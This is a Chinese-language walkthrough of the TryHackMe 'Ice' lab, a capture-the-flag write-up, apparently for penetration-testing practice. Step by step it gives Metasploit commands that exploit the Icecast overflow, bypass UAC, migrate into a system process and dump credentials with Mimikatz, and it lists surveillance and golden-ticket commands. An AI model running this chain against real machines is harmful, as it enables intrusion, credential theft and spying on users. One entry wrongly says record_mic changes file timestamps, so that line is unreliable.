【THM】Ice-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/ice
本文介绍:部署并入侵Windows目标机器,利用安全性非常差的服务器--Icecast Streaming Media Server (icecast 流媒体服务器)。
部署虚拟靶机
先在本地kali机中使用OpenVPN连接Tryhackme网络,然后在本文相关的Tryhackme实验房间页面 手动点击启动虚拟靶机(最多可能需要三分钟才能完成)-在靶机启动后查看并记录下目标机器ip地址即可。
进行Nmap扫描
使用nmap对目标机进行端口扫描
nmap -sS -sC -sV -p- -T4 10.10.83.241
#使用 SYN 扫描模式来扫描目标机器上的所有端口;-sC 指定使用默认脚本进行扫描;-sV 指定扫描服务版本号。
Nmap扫描结果如下:
答题
根据Nmap扫描结果回答问题:
靶机上的MSRDP服务对应的端口是:3389
靶机的8000端口上运行的服务是:Icecast
靶机的主机名为:DARK-PC
获得目标初始访问权限
答题
我们已经知道目标机上运行着Icecast服务,现在我们尝试查找和Icecast服务相关的可供利用的漏洞类型及其CVE编号:
访问以下链接以查找漏洞对应的CVE编号:https://www.cvedetails.com/
我们利用谷歌搜索“icecast streaming media server cve”:
发现漏洞相关页面:
查看漏洞详情页面(得知漏洞类型以及漏洞的CVE编号):
漏洞类型为:Execute Code Overflow
对应的CVE编号为:CVE-2004-1561
接下来我们将使用Metasploit来进行漏洞利用:
我们在本地kali机的终端界面输入命令msfconsole -q
启动msf,然后继续输入命令search icecast
来搜索和Icecast服务相关的目标漏洞:
我们找到的漏洞利用模块路径为:exploit/windows/http/icecast_header
我们选择使用刚才找到的漏洞利用模块(输入命令use 0
即可),然后使用命令show options
来显示需要设置的参数:
必需设置的参数是:RHOSTS
我们将RHOSTS参数设置为目标机 IP,使用命令set RHOSTS 10.10.83.241
即可,我们还需检查 LHOST 选项是否已经设置为本地kali机的 tun0 IP,如果未设置 则使用命令set LHOST 10.13.16.58
进行设置即可,在完成所有参数的设置之后,我们输入exploit
来针对靶机执行exp即可。
提权
答题
基于上一小节的操作,我们得到了一个能够操纵目标机的meterpreter
shell,通过使用getuid
命令-我们得到了用户名Dark
:
继续使用之前得到的shell界面,我们可以输入sysinfo
命令以枚举用户更多信息:
继续使用之前得到的shell界面,运行命令run post/multi/recon/local_exploit_suggester
来针对靶机查找提权向量。
我们使用msf找到的可用于提权的第一个exp的路径为:exploit/windows/local/bypassuac_eventvwr
在meterpreter shell界面,我们使用命令 background
或 CTRL + z 将当前的meterpreter会话置于后台,我们需要记下这个处于后台的会话的编号,我们可以在 meterpreter shell 之外使用命令 sessions
来列出所有的活动会话 以查看后台的meterpreter会话的编号。
接着输入命令use exploit/windows/local/bypassuac_eventvwr
以选择之前找到的可用于提权的exp,然后输入命令show options
以查看我们所需设置的参数选项:
选择我们之前后台化的会话id来设置上图中的SESSION参数选项-使用命令set session 2
即可(我们可以先输入sessions
命令查看后台的会话编号,然后再设置SESSION参数);我们还要将上图中的LHOST参数选项设置为本地机tun0 ip(使用命令 set LHOST 10.13.16.58
);最后我们输入命令exploit
执行提权exp即可。
tips:使用命令ip addr可查看本地kali的tun0 ip。
权限提升完成后,将打开一个新的meterpreter会话,如果没有成功打开会话,我们可以使用命令 sessions SESSION_NUMBER(先使用sessions命令,以查看因为提权而生成的新会话的SESSION编号) 进行会话交互以得到提权之后的会话界面。
使用新的meterpreter shell界面,输入命令 getprivs
验证我们是否已扩展权限,尝试找出能够允许我们取得文件所有权的权限名称:
能够允许我们取得文件所有权的权限为:SeTakeOwnershipPrivilege
收集凭据
由于lsass服务负责在 Windows 中进行身份验证,所以在执行进一步操作之前,我们需要完成进程迁移操作,然后保证迁移之后的进程能够与lsass 服务交互。
tips:为了成功与lsass服务交互,我们需要一个与 lsass服务 具有相同架构(在本机的情况下为 x64)并且具有与 lsass服务 相同权限的进程。
我们可以使用命令ps
来查看当前靶机中的所有进程,我们可以发现lsass服务的权限是 NT AUTHORITY\SYSTEM 。
由上图可知,我们可以选择迁移到打印机服务所对应的进程,该服务对应的程序是:spoolsv.exe
我们可以使用命令migrate -N PROCESS_NAME
(或者migrate <PID>
)迁移到新进程,此处我们选择迁移进程到打印机服务(spoolsv.exe),我们输入migrate 1268
即可(1268是打印机服务程序的PID,使用ps命令可以查看pid值);完成进程迁移之后我们使用getuid
可以查看当前用户身份。
现在我们已经获得了管理员权限,接下来将使用Mimikatz 工具进行密码转储,先使用命令load kiwi
加载Mimikatz(kiwi 是 Mimikatz 的更新版本);将 kiwi 加载到我们的 meterpreter 会话中将扩展我们的帮助菜单,我们可以通过命令 help
查看帮助菜单中新添加的部分。
creds_all 命令允许检索所有凭据
通过查看如上图所示的帮助页面,我们发现creds_all
命令能够允许检索所有凭据,输入该命令即可开始检索目标机上的凭据-从而得到用户密码;我们也可以通过使用hashdump
命令来进行密码转储-不过这样得到的是用户密码的hash值,还需要进行密码破解操作。
tips:在线hash破解网站 - https://crackstation.net/
Dark用户的密码为:Password01!
Post-Exploitation(后渗透阶段)-无实操
前置知识
Post-Exploitation:主要指攻陷目标网络中的某一台或者多台主机之后需要继续去做的一些事情,包括但不限于--识别已经拿下的主机的价值以及维持访问权限;主机对于攻击者来说是否具有一定的价值、具有多大的价值主要从以下两个方面考虑--一方面在于该主机中是否有敏感信息、数据,另外一方面在于该主机是否能够在后期的渗透中发挥辅助价值-比如被攻陷的主机账户是否属于目标组织中的关键人物、高层领导、系统管理员,被攻陷的主机是否能够尽可能的有目标内网的不同网段的访问权限等等。
答题
正如我们在上一小节中所提及的那样-我们可以使用 hashdump
命令来转储用户的hash值,然后再进行hash密码破解操作。(我们可以使用help
命令,然后从帮助菜单中查看到hashdump的具体用途)
通过使用help
命令并查看帮助菜单,我们得知screenshare
命令可用于实时查看远程用户的桌面:
通过使用help
命令并查看帮助菜单,我们得知record_mic
命令可用于连接到系统的麦克风录音(下图中的webcams-含义是网络摄像头):
通过使用help
命令并查看帮助菜单,我们得知record_mic
命令可用于修改系统上文件的时间戳:
通过使用help
命令并查看帮助菜单,我们得知golden_ticket_create
命令可用于创建黄金票据:
在msf中启用远程桌面 (MSRDP) 模块的命令: run post/windows/manage/enable_rdp
补充
在不使用msf进行渗透的情况下,我们可以直接利用以下exp来完成本文相关的靶机实验:https://www.exploit-db.com/exploits/568